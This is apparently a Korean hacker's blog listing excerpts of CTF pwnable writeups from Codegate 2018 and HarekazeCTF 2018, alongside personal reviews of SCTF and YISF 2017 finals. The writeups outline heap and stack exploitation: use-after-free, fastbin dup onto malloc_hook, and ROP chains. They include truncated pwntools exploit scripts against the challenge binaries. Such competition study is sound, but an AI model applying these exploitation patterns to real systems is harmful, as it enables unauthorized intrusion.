본문 바로가기

CTF

Codegate 2018 writeup https://github.com/yeonnic/CTF/tree/master/Codegate_2018_Final/pwnable Betting:BOF가 일어난다.canary를 릭 하고, ret를 helper함수로 덮어서 플래그를 읽으면 된다. Catshop:Sell cat을 하면 UAF가 일어난다.your name change를 선택해서 플래그를 읽는 함수주소로 함수 포인터를 덮은다음 3번메뉴로 플래그를 읽었다. DaysNote:윤년일때를 선택하면 1바이트 오버플로가 발생하는대 ebp 첫바이트를 덮어쓸수있다.입력 받는 버퍼가 크므로 ret 슬라이딩을 해주고 rop체인을짜서 system함수를 릭하고 플래그를 읽었다. Heapbabe:이거도 UAF가 발생하는대 PIE가 걸려있어서 먼저 PIE_base를 구해야.. 더보기
CodeGate 2018 final 후기 코드게이트 국제해킹방어대회 2018 주니어부 본선에 참가해서 4등을 했습니다.수상을 못해서 아쉽지만 아직 많이 부족하다고 다시한번 깨닫게 되어서 더 열심히 공부하겠습니다! 대회장이 작년보다 훨씬 넓어진 느낌이 나서 내년에도 꼭 본선에 참가할 수 있길...ㅠㅠㅠ(본선 라업은 자고일어나서 써야징..) 더보기
HarekazeCTF 2018 alnush 알파뉴메릭 쉘코드를 입력받는다. 쉘코드를 입력받을때 오버플로우가 발생하는대 1바이트만 고쳐서 문자열 입력을 한번더입력할 수 있다. 그리고 처음입력받은 쉘코드만 알파뉴메릭인지 검사한다. 이걸 이용해서 처음엔 q0 = jno 0x30을 집어넣고 오버플로를 일으킨다음 64bit shellcode를 넣어서 쉘을 획득할 수 있다. solve.py 더보기
HarekazeCTF 2018 Flea_attack 원하는 곳을 마음대로 free 할 수 있다. fastbin dup를 이용해서 malloc_hook을 system으로 덮고 comment에는 /bin/sh;를 집어넣은 다음 malloc(&comment); 식으로 호출해서 쉘을 얻었다. solve.py 더보기
HarekazeCTF 2018 Harekaze Farm 3번 입력 받고 입력받을때 동물이름이랑 일치하면 select_animals배열에 이름을 넣은 다음 마지막에 isokoku문자열이 있으면 플래그를 출력한다. 입력받을 때 8바이트를 더 쓸수있어서 v16을 덮어버린다. 이때 isoroku문자열을 보내면 플래그를 얻을 수 있다. solve.py 더보기
CodeGate 2018 quals SuperFTP 대회 내도록 이 문제를 잡았는데 결국 대회가 끝나고 나서 풀었다..ㅠㅠㅠㅠ 문자열을 파싱할때에 /../문자열 뒤에 / 가 없으면 /를 찾을때 까지 위로 올라간다. 이걸 가지고 ret를 덮을 수 있는데 0x2f를 메모리에 집어넣을 백터를 못찾았었다..... 근데 로그인 할때 main함수에서 카운터를 올리는걸 보고 0x2f번 로그인 해서 0x2f을 집어 넣은 다음 ret를 덮어서 쉘을 획득했다. 립씨릭은 아무값이나 때려넣다가 되길래 그걸 가지고 했다. solve.py: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172.. 더보기
CodeGate 2018 quals SuperMarimo Edit에서 profile을 수정 할때에 마리모 생성 시간보다 시간이 지나있으면 오버플로우가 일어난다. 마리모를 두개 생성한다음 첫번째 마리모에서 오버플로를 일으켜서 두번째 마리모 구조체의 포인터를 덮어서 공격했다. solve.py: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *import ctypes LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") elf=ELF("./marimo")libc=ELF("./libc.so.6") p=process("./marimo")#p=remote(".. 더보기
CodeGate 2018 quals BaskinRobins31 ROP로 쉘 겟! solve.py: 123456789101112131415161718192021222324252627from pwn import * context.arch="amd64"elf=ELF("./BaskinRobins31")libc= ELF("./libc.so.6.txt") p=process("./BaskinRobins31")#p=remote("ch41l3ng3s.codegate.kr", 3131) pr=0x400bc2ppr=0x400bc0pdr = next(elf.search(asm("pop rdi; ret"))) print p.recv() p.sendline("A"*0xb8+flat(pdr, elf.got['puts'], elf.plt['puts'], 0x400a4b )) print p.re.. 더보기
SCTF 2017 본썬 후기 흐흐 본선대회 시작하기 전날에 밤을 새고 삼성전자 R&D 캠퍼스에 SCTF에 참가하러 갔었습니다. 촌놈이라 티안낼려고 했는데 건물들이 으리으리 해서 감탄했다는..ㅋㅋㅋ 프론티어에서 명찰을 받고 (플로피 디스크를 닮았어요 ㅋㅋㅋ 굉장히 이뻐서 기억에 남내요) 배정받은 자리에 앉았는데 좀 넓었다. 개꿀.. 자리에 앉으니까 기념품으로 침낭?? 같은거랑 이름이 새겨진 피젯스피너도 받아서 삼성 클라스에 지렸습니다. 그리고 대회 시작까지 시간이 좀남아서 자다가 대회를 했는데 신기한게 엄청 피곤해서 지금 당장 안자면 미칠거 같았는데 문제를 잡으니까 저생각이 싹 증발했습니당 ㅎㅎ 처음엔 어택에 imager문제를 잡았는데 웹알못이었던 저는 삽질끝에 시크릿키를 알면 세션 쿠키의 값을 조작할 수 있다는걸 깨닫고 삽질을 했지.. 더보기
YISF 2017 본선 후기 거제도에 살아서 순천향대 까지 가기가 넘나 힘들었습니다 ㅠㅠㅠ 룰이 엄격해서 화장실 갈때도 운영진 분과 함께 가고..ㄷㄷ 대신 대회장에는 과자랑 음료수도 마음껏 가져갈 수 있었고 분위기도 좋아서 엄청 집중해서 풀었던거 같네요 시작 하자마자 포너블잡고 2시간정도 삽질 하다가 제일 먼저 풀었죠 ㅎㅎ 그리고 믹스 문제가 많이 풀려있길래 믹스를 잡았는데조각난 사진들을 이어붙이면 플래그가 떴었습니다. 사진을 이어붙여도 플래그가 안떠서 엄청 삽질 하다가 순서대로 안붙인걸 3시간 지나고 알았다는..ㄸ (호구 인증..)믹스를 풀고 8등이 되었는데 웹이랑 포렌식 리버싱은 진짜 못해서 포기 할려다가 웹을 보는데 SQL 인젝션이 아닌거 같아서 엄청 집중해서 대회 끝나기 16분전에 플래그를 뙁! 하고 인증하고 5등으로 마무리.. 더보기